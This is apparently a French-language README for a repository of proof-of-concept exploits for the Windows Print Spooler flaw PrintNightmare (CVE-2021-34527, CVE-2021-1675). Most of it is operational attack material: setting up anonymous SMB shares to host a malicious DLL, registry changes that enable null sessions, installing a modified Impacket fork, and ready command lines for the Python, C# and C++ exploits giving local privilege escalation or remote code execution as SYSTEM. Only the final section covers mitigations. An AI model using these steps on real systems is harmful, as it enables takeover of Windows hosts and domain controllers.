
PrintNightmare - Vulnérabilité RCE/LPE du spouleur d'impression Windows (CVE-2021-34527, CVE-2021-1675) exploits de preuve de concept
Il s'agit d'une vulnérabilité d'exécution de code à distance qui peut être utilisée par un utilisateur distant authentifié pour obtenir des privilèges de niveau SYSTEM sur des machines Windows exécutant le service du spouleur d'impression. Un attaquant pourrait ensuite utiliser cet accès pour créer de nouveaux comptes, tenter d'installer des programmes ; afficher, modifier ou supprimer des données ; ou créer de nouveaux comptes avec des droits d'utilisateur complets.
Cette vulnérabilité existe en raison d'un bug de contournement d'autorisation dans le service Spouleur d'impression spoolsv.exe sur les systèmes Windows, ce qui permet à des utilisateurs distants authentifiés d'installer des pilotes d'impression en utilisant l'appel RPC RpcAddPrinterDriver et de spécifier un fichier pilote situé sur un emplacement distant. Un utilisateur malveillant exploitant cela pourrait obtenir des privilèges de niveau SYSTEM sur un système Windows exécutant ce service en injectant des DLL malveillantes dans le cadre de l'installation d'un pilote d'impression.
Bien que Microsoft ait publié une mise à jour pour CVE-2021-1675, cette mise à jour ne protège pas les contrôleurs de domaine Active Directory ni les systèmes Windows qui ont Point and Print configuré avec l'option NoWarningNoElevationOnInstall configurée.
Il existe trois implémentations d'exploit PoC dans ce dépôt :
Comme le service RPC permet à la machine cliente de fournir un emplacement pour que les pilotes d'impression soient téléchargés par le serveur distant, les exemples d'options suivants peuvent être utilisés pour héberger la charge utile et le chemin fourni lors de l'exécution de l'exploit :
Pour configurer l'accès invité dans Samba, vous devez configurer un utilisateur sous lequel il se connectera. Assurez-vous qu'il existe un utilisateur smbuser dans le système, sinon créez-en un avec le mot de passe password
id -u smbuser &>/dev/null || useradd -p $(openssl passwd -1 password) smbuser
Modifiez le fichier /etc/samba/smb.conf et activez l'accès anonyme
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[smb]
comment = Samba
path = /tmp/
guest ok = yes
read only = no
browsable = yes
force user = smbuser
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #This will overwrite existing NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# Reboot
Les instructions ci-dessous sont légèrement mises à jour par rapport à celles fournies par cube0x0 :
Il s'agit de l'implémentation Impacket de l'exploit Printnightmare par cube0x0. Avant d'exécuter l'exploit, vous devez installer une version modifiée d'Impacket :
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install
Le code d'exploit pour cette vulnérabilité doit être exécuté avec Python 3
usage: CVE-2021-34527.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share
CVE-2021-1675/34527 implementation.
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
share Path to DLL. Example '\\10.10.10.10\share\evil.dll'
optional arguments:
-h, --help show this help message and exit
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
connection:
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name
and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
Example;
./CVE-2021-34527.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-34527.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'
Le répertoire SharpPrintNightmare/ contient l'implémentation C# de l'exploit Printnightmare, à la fois pour l'élévation de privilèges locale (LPE) (CVE-2021-1675) et pour l'exécution de code à distance (RCE). La fonctionnalité RCE nécessite une exécution avec des privilèges d'administrateur local sur la machine exécutant l'exploit.
#LPE
C:\SharpPrintNightmare.exe C:\addCube.dll
#RCE using existing context
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
#RCE using runas /netonly
SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' domain.local domain_username password
.\PrintNightmare.exe dc_ip path_to_exp user_name password
Example:
.\PrintNightmare.exe 192.168.5.129 \\192.168.5.197\test\MyExploit.dll user2 test123##
Exécutez la commande suivante :
Get-Service -Name Spooler
Si le Spouleur d'impression est en cours d'exécution ou si le service n'est pas paramétré sur désactivé, choisissez l'une des options suivantes pour désactiver le service Spouleur d'impression, ou pour désactiver l'impression distante entrante via une stratégie de groupe :
Si la désactivation du service Spouleur d'impression est appropriée pour votre entreprise, utilisez les commandes PowerShell suivantes (recommandation de Microsoft) :
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
ou désactiver le service Spouleur via le registre
Stop-Service Spooler
REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Spooler" /v "Start" /t REG_DWORD /d "4" /f
ou désinstaller Print-Services
Uninstall-WindowsFeature Print-Services
Cela désactivera la capacité d'imprimer à la fois localement et à distance.
Vous pouvez également configurer les paramètres via une stratégie de groupe comme suit :
Computer Configuration / Administrative Templates / Printers
Désactivez la stratégie « Autoriser le Spouleur d'impression à accepter les connexions client » pour bloquer les attaques distantes.
Cette stratégie bloquera le vecteur d'attaque distant en empêchant les opérations d'impression distante entrante. Le système ne fonctionnera plus en tant que serveur d'impression, mais l'impression locale sur un périphérique directement connecté restera possible.
Pour plus d'informations, consultez : Utiliser les paramètres de stratégie de groupe pour contrôler les imprimantes.